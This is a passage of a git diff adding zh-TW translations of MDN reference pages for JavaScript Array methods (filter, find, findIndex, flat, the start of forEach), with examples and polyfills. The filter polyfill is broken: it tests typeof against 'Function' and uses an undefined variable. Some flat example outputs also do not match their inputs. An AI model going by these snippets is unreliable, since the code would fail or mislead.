+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/filter/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/filter/index.html
new file mode 100644
index 0000000000..49546e6505
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/filter/index.html
@@ -0,0 +1,238 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Reference/Global_Objects/Array/filter
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - 原型
+  - 參見
+  - 填充工具
+  - 方法
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>filter()</strong></code> 方法會建立一個經指定之函式運算後，由原陣列中通過該函式檢驗之元素所構成的新陣列。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div>
+
+
+
+<h3 id="ES6_版本">ES6 版本</h3>
+
+<pre class="brush: js">const words = ["spray", "limit", "elite", "exuberant", "destruction", "present", "happy"];
+
+let longWords = words.filter(word =&gt; word.length &gt; 6);
+
+// Filtered array longWords is ["exuberant", "destruction", "present"]
+</pre>
+
+<h2 id="語法">語法</h2>
+
+<pre><var>var newArray = arr</var>.filter(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>此函式為一個斷言，用於測試陣列中的每個元素。回傳值為 <code>true</code> 時將當前的元素保留至新陣列中，若為 <code>false</code> 則不保留。可傳入三個參數：</dd>
+ <dd>
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>原陣列目前所迭代處理中的元素。</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>原陣列目前所迭代處理中的元素之索引。</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>呼叫 <code>filter</code> 方法的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>可選的。執行 <code>callback</code> 回呼函式的 <code>this</code> 值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個元素為通過回呼函式檢驗的新陣列。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>filter()</code> 會將所有陣列中的元素分別傳入一次至 <code>callback</code> 函式當中，並將所有傳入此回呼函式並得到回傳值為 <a href="/zh-TW/docs/Glossary/Truthy">Truthy</a> 的元素建構成一個新的陣列。<code>callback</code> 函式只會於陣列目前迭代之索引有指派值時被呼叫，回呼函式不會在該陣列索引已被刪除或從未被賦值時被調用。原始陣列中沒有通過 <code>callback</code> 檢驗的元素會被簡單的跳過，且不會被包含在新建立的陣列中。</p>
+
+<p><code>callback</code> 函式於被調用時會傳入三個參數：</p>
+
+<ol>
+ <li>元素值</li>
+ <li>元素之索引</li>
+ <li>被迭代的陣列物件</li>
+</ol>
+
+<p>若有提供 <code>thisArg</code> 參數予 <code>filter</code> 方法，<code>thisArg</code> 將會被當作回呼函式的 <code>this</code> 值，否則 <code>this</code> 會是 <code>undefined</code>。<code>callback</code> 的最終 <code>this</code> 值是依據<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/this">函式的 <code>this</code> 規則</a>來決定。</p>
+
+<p><code>filter()</code> 不會修改呼叫它的原始陣列。</p>
+
+<p>由 <code>filter()</code> 方法所回傳之新陣列的範圍，於 <code>callback</code> 函式第一次被調用之前就已經被設定。而在呼叫 <code>filter()</code> 之後才加至原始陣列中的元素，將不會傳入 <code>callback</code> 當中。假如原始陣列中元素的值改變或被刪除了，則 <code>callback</code> 得到此元素的值將會是 <code>filter()</code> 傳入元素當下的值。而被刪除的原始陣列元素並不會被迭代到。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="過濾所有的小數字">過濾所有的小數字</h3>
+
+<p>以下範例會用 <code>filter()</code> 建立一個把所有小於 10 的元素都移掉的陣列。</p>
+
+<pre class="brush: js">function isBigEnough(value) {
+  return value &gt;= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered is [12, 130, 44]
+</pre>
+
+<h3 id="從_JSON_過濾無效的項目">從 JSON 過濾無效的項目</h3>
+
+<p>以下範例會用 <code>filter()</code> 建立一個把非零 numeric <code>id</code> 的元素都過濾掉的的 JSON。</p>
+
+<pre class="brush: js">var arr = [
+  { id: 15 },
+  { id: -1 },
+  { id: 0 },
+  { id: 3 },
+  { id: 12.2 },
+  { },
+  { id: null },
+  { id: NaN },
+  { id: 'undefined' }
+];
+
+var invalidEntries = 0;
+
+function isNumber(obj) {
+  return obj!== undefined &amp;&amp; typeof(obj) === 'number' &amp;&amp; !isNaN(obj);
+}
+
+function filterByID(item) {
+  if (isNumber(item.id)) {
+    return true;
+  }
+  invalidEntries++;
+  return false;
+}
+
+var arrByID = arr.filter(filterByID);
+
+<code>console.log('過濾好的陣列\n', arrByID);
+// 過濾好的陣列
+// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]
+
+console.log('無效的元素數量 = ', invalidEntries);
+// 無效的元素數量 = 4</code></pre>
+
+<h3 id="在陣列中搜尋">在陣列中搜尋</h3>
+
+<p>下面範例使用 <code>filter()</code> 去過濾符合搜尋條件的陣列內容。</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * 陣列透過搜尋條件（查詢）過濾物件
+ */
+function filterItems(query) {
+  return fruits.filter(function(el) {
+      return el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1;
+  })
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</pre>
+
+<h3 id="ES2015_實作方式">ES2015 實作方式</h3>
+
+<pre class="brush: js">const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * 陣列透過搜尋條件（查詢）過濾物件
+ */
+const filterItems = (query) =&gt; {
+  return fruits.filter((el) =&gt;
+    el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1
+  );
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']
+
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>filter()</code> 在 ECMA-262 第五版時被納入標準；它也許不會出現在該標準的所有實作引擎之中。你可以在你的腳本最前面加入下面的程式碼作為替代方案，讓不支援 <code>filter()</code> 的 ECMA-262 實作引擎能夠使用它。假設 <code>fn.call</code> 是採用 {{jsxref("Function.prototype.bind()")}} 的原始值，這個演算法完全和 ECMA-262 第五版定義的規格相同。</p>
+
+<pre class="brush: js">if (!Array.prototype.filter)
+  Array.prototype.filter = function(func, thisArg) {
+    'use strict';
+    if ( ! ((typeof func === 'Function') &amp;&amp; this) )
+        throw new TypeError();
+
+    var len = this.length &gt;&gt;&gt; 0,
+        res = new Array(len), // 預先配置陣列
+        c = 0, i = -1;
+    if (thisArg === undefined)
+      while (++i !== len)
+        // 確認物件的鍵值i是否有被設置
+        if (i in this)
+          if (func(t[i], i, t))
+            res[c++] = t[i];
+    else
+      while (++i !== len)
+        // 確認物件的鍵值i是否有被設置
+        if (i in this)
+          if (func.call(thisArg, t[i], i, t))
+            res[c++] = t[i];
+
+    res.length = c; // 將陣列縮至適當大小
+    return res;
+  };
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.filter")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/find/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/find/index.html
new file mode 100644
index 0000000000..0db7e05a3c
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/find/index.html
@@ -0,0 +1,204 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Reference/Global_Objects/Array/find
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>find()</strong></code> 方法會回傳第一個滿足所提供之測試函式的元素<strong>值</strong>。否則回傳 {{jsxref("undefined")}}。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-find.html")}}</div>
+
+
+
+<p>也可以參考 {{jsxref("Array.findIndex", "findIndex()")}} 方法，它回傳被找到的元素在陣列中的<strong>索引</strong>，而不是它的值。</p>
+
+<p>If you need to find the position of an element or whether an element exists in an array, use {{jsxref("Array.prototype.indexOf()")}} or {{jsxref("Array.prototype.includes()")}}.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>會處理陣列中每個元素的函數，它使用三個參數：
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>在陣列中正被處理的元素。</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>在陣列中正被處理的元素的索引。</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>呼叫 <code>find</code> 的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> <code>{{Optional_inline}}</code></dt>
+ <dd>執行 <code>callback</code> 函式時被當作 <code>this</code> 的物件。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>若元素通過測試則為其值；否則為 {{jsxref("undefined")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>find</code> 方法會對每個元素執行一次 <code>callback</code> 函式，直到找到一個讓 <code>callback</code> 函式回傳 true 的元素。當元素被找到的時候，<code>find</code> 會立刻回傳該元素，否則 <code>find</code> 會回傳 {{jsxref("undefined")}}。<code>callback</code> 會被使用於陣列索引自 <code>0</code> 至 <code>length - 1</code>，並會被用於每一個的陣列索引，而不僅是那些有賦值的索引。這代表此方法在稀疏陣列（sparse arrays）上的效能可能較其他只存取已賦值索引的方法來的差。</p>
+
+<p><code>callback</code> 函式被呼叫時會傳入三個參數：元素的值、元素索引，以及正被迭代的陣列物件。</p>
+
+<p>如果提供 <code>thisArg</code> 參數予 <code>find</code>，其將會被當作 <code>callback</code> 每次被呼叫的 <code>this</code>。若是沒提供，則會使用 {{jsxref("undefined")}}。</p>
+
+<p><code>find</code> 並不會改變呼叫該方法的陣列。</p>
+
+<p>The range of elements processed by <code>find</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>find</code> begins will not be visited by <code>callback</code>. If an existing, unvisited element of the array is changed by <code>callback</code>, its value passed to the visiting <code>callback</code> will be the value at the time that <code>find</code> visits that element's index; elements that are deleted are still visited.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Find_an_object_in_an_array_by_one_of_its_properties">Find an object in an array by one of its properties</h3>
+
+<pre class="brush: js">var inventory = [
+    {name: 'apples', quantity: 2},
+    {name: 'bananas', quantity: 0},
+    {name: 'cherries', quantity: 5}
+];
+
+function isCherries(fruit) {
+    return fruit.name === 'cherries';
+}
+
+console.log(inventory.find(isCherries));
+// { name: 'cherries', quantity: 5 }</pre>
+
+<h3 id="在陣列中找質數">在陣列中找質數</h3>
+
+<p>以下範例在陣列中找出一個屬於質數的元素，如果裡面不含質數則回傳 {{jsxref("undefined")}}。</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(isPrime)); // undefined, not found
+console.log([4, 5, 8, 12].find(isPrime)); // 5
+</pre>
+
+<p>The following examples show that non-existent and deleted elements are visited and that the value passed to the callback is their value when visited.</p>
+
+<pre class="brush: js">// Declare array with no element at index 2, 3 and 4
+var a = [0,1,,,,5,6];
+
+// Shows all indexes, not just those that have been assigned values
+a.find(function(value, index) {
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+
+// Shows all indexes, including deleted
+a.find(function(value, index) {
+
+  // Delete element 5 on first iteration
+  if (index == 0) {
+    console.log('Deleting a[5] with value ' + a[5]);
+    delete a[5];
+  }
+  // Element 5 is still visited even though deleted
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>這個方法在 ECMAScript 2015 中首次被規範，可能尚未在所有 JavaScript 應用中被實作。你可以使用以下程式片段來 polyfill <code>Array.prototype.find</code>：</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+  Object.defineProperty(Array.prototype, 'find', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return kValue.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return kValue;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return undefined.
+      return undefined;
+    }
+  });
+}
+</pre>
+
+<p>If you need to support truly obsolete JavaScript engines that don't support <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, it's best not to polyfill <code>Array.prototype</code> methods at all, as you can't make them non-enumerable.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>首次定義</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.find")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} – find and return an index</li>
+ <li>{{jsxref("Array.prototype.includes()")}} – test whether a value exists in the array</li>
+ <li>{{jsxref("Array.prototype.filter()")}} – find all matching elements</li>
+ <li>{{jsxref("Array.prototype.every()")}} – test all elements together</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/findindex/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/findindex/index.html
new file mode 100644
index 0000000000..4271ae9ef1
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/findindex/index.html
@@ -0,0 +1,181 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>findIndex()</strong></code> 方法將依據提供的測試函式，尋找陣列中符合的元素，並返回其 <strong>index</strong>（索引）。如果沒有符合的對象，將返回 -1 。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-findindex.html")}}</div>
+
+
+
+<div> </div>
+
+<p>另請參見 {{jsxref("Array.find", "find()")}} 方法，它返回陣列中找到的元素的<strong>值</strong>，而不是其索引。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>針對陣列中的每個元素，都會執行該回呼函式，執行時會自動傳入下面三個參數：
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>當前元素。</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>當前元素的索引。</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>呼叫 <code>findIndex</code> 的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>可選的。執行 <strong>callback</strong> 時作為 this 對象的值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>An index in the array if an element passes the test; otherwise, <strong>-1</strong>.</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>findIndex</code> 方法對陣列中的每一個索引：<code>0..length-1</code>（含）的元素執行一次 <code>callback</code> 直到有一個 <code>callback</code> 返回 truthy 值（一個可強制轉型（coerces）為 <code>true</code> 的值）。如果找到了一個這樣的元素，則 <code>findIndex</code> 將會立刻返回此次迭代的索引。若回呼函式從未回傳一個 truthy 值，或陣列的 <code>length</code> 為 0，則 <code>findIndex</code> 將會返回 -1。不像其他的陣列方法如 <code>some</code> 那樣，於稀疏（sparse）陣列上 <code>callback</code> <strong>仍會</strong>被呼叫，即使該索引的項目在陣列中並不存在。</p>
+
+<p><code>callback</code> 被呼叫時會傳入三個參數：元素的值、元素的索引，以及被迭代的陣列物件。</p>
+
+<p>如果一個 <code>thisArg</code> 參數被提供給 <code>findIndex</code>，它將會被當作 <code>this</code> 使用在每次回呼函式被調用的時候。如果沒有被提供，將會使用 {{jsxref("undefined")}}。</p>
+
+<p><code>findIndex</code> 不會修改呼叫此方法的陣列。</p>
+
+<p>在第一次呼叫 <code>callback</code> 函式時會確定元素的索引範圍，因此在 <code>findIndex</code> 方法開始執行之後添加到陣列的新元素將不會被 <code>callback</code> 函式訪問到。如果陣列中一個尚未被 <code>callback</code> 函式訪問到的元素的值被 <code>callback</code> 函式所改變，那麼當 <code>callback</code> 函式訪問到它時，它的值是將是根據它在陣列中的索引所訪問到的當前值；被刪除的元素仍然會被訪問到。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="尋找陣列中首個質數元素的索引">尋找陣列中首個質數元素的索引</h3>
+
+<p>以下的範例演示了如何查找一個陣列中首個質數元素的索引，找不到則返回 -1。</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, not found
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+</pre>
+
+<h3 id="使用箭頭函式尋找索引">使用箭頭函式尋找索引</h3>
+
+<p>以下範例為使用箭頭函式尋找水果的索引。</p>
+
+<pre class="brush: js">const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"];
+
+const index = fruits.findIndex(fruit =&gt; fruit === "blueberries");
+
+console.log(index); // 3
+console.log(fruits[index]); // blueberries
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex
+if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return k.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return k;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return -1.
+      return -1;
+    }
+  });
+}
+</pre>
+
+<p>如果您需要相容過時的不支援 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> 的 JavaScript 引擎，最好不要使用 polyfill 來填充 <code>Array.prototype</code> 方法，因為無法使它們成為不可枚舉的（non-enumerable）屬性。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.findIndex")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/flat/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/flat/index.html
new file mode 100644
index 0000000000..8a6a4b2549
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/flat/index.html
@@ -0,0 +1,148 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flat
+tags:
+  - JavaScript
+  - 實驗中
+  - 方法
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p><code><strong>flat()</strong></code> 函數以遞迴方式將特定深度的子陣列重新串接成為一新的陣列</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatten.html")}}</p>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>var newArray = arr</var>.flat(<em>[depth]</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>depth</code> {{optional_inline}}</dt>
+ <dd>指定巢狀陣列展開的深度。預設為1。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>函數將會回傳一個由原先陣列的子陣列串接而成的新陣列。</p>
+
+
+
+<h2 id="範例">範例</h2>
+
+<h3 id="展開巢狀陣列">展開巢狀陣列</h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h3 id="當遭遇空元素時">當遭遇空元素時</h3>
+
+<p>flat()函數會自動清除陣列中空的元素</p>
+
+<pre class="brush: js">var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+</pre>
+
+<h2 id="替代方案">替代方案</h2>
+
+<h3 id="reduce_與_concat"><code>reduce</code> 與 <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+
+//展開單層陣列
+arr1.reduce((acc, val) =&gt; acc.concat(val), []);// [1, 2, 3, 4]
+</pre>
+
+
+
+<pre class="brush: js">//欲展開更深層的巢狀結構請使用reduce與concat的遞迴
+function flattenDeep(arr1) {
+   return arr1.reduce((acc, val) =&gt; Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
+}
+flattenDeep(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+
+
+<pre class="brush: js">//使用stack來實作非遞迴的展開
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+function flatten(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // pop value from stack
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // push back array items, won't modify the original input
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  //reverse to restore input order
+  return res.reverse();
+}
+flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+<pre><code>// 递归版本的反嵌套
+function flatten(array) {
+  var flattend = [];
+  (function flat(array) {
+    array.forEach(function(el) {
+      if (Array.isArray(el)) flat(el);
+      else flattend.push(el);
+    });
+  })(array);
+  return flattend;
+}</code></pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flat"><code>Array.prototype.flat</code> proposal</a></td>
+   <td>Candidate (3)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.html
new file mode 100644
index 0000000000..df1dc91684
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/foreach/index.html
@@ -0,0 +1,297 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Array/forEach
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code> 方法會將陣列內的每個元素，皆傳入並執行給定的函式一次。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.forEach(function <var>callback(currentValue[, index[, array]]) {
+    //your iterator
+}</var>[, <var>thisArg</var>]);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>這個 callback 函式將會把 Array 中的每一個元素作為參數，帶進本 callback 函式裡，每個元素各執行一次，接收三個參數：
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>代表目前被處理中的 Array 之中的那個元素。</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>代表目前被處理中的 Array 之中的那個元素的index.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>呼叫 <code>forEach()</code> 方法的那個 Array 本身，也就是上面語法中的 arr。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd>執行 <code>callback</code> 回呼函式的 <code><strong>this</strong></code>（即參考之 <code>Object</code>）值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>{{jsxref("undefined")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>forEach()</code> executes the provided <code>callback</code> once for each element present in the array in ascending order. It is not invoked for index properties that have been deleted or are uninitialized (i.e. on sparse arrays).</p>
+
+<p><code>callback</code> is invoked with <strong>three arguments</strong>:</p>
+
+<ul>
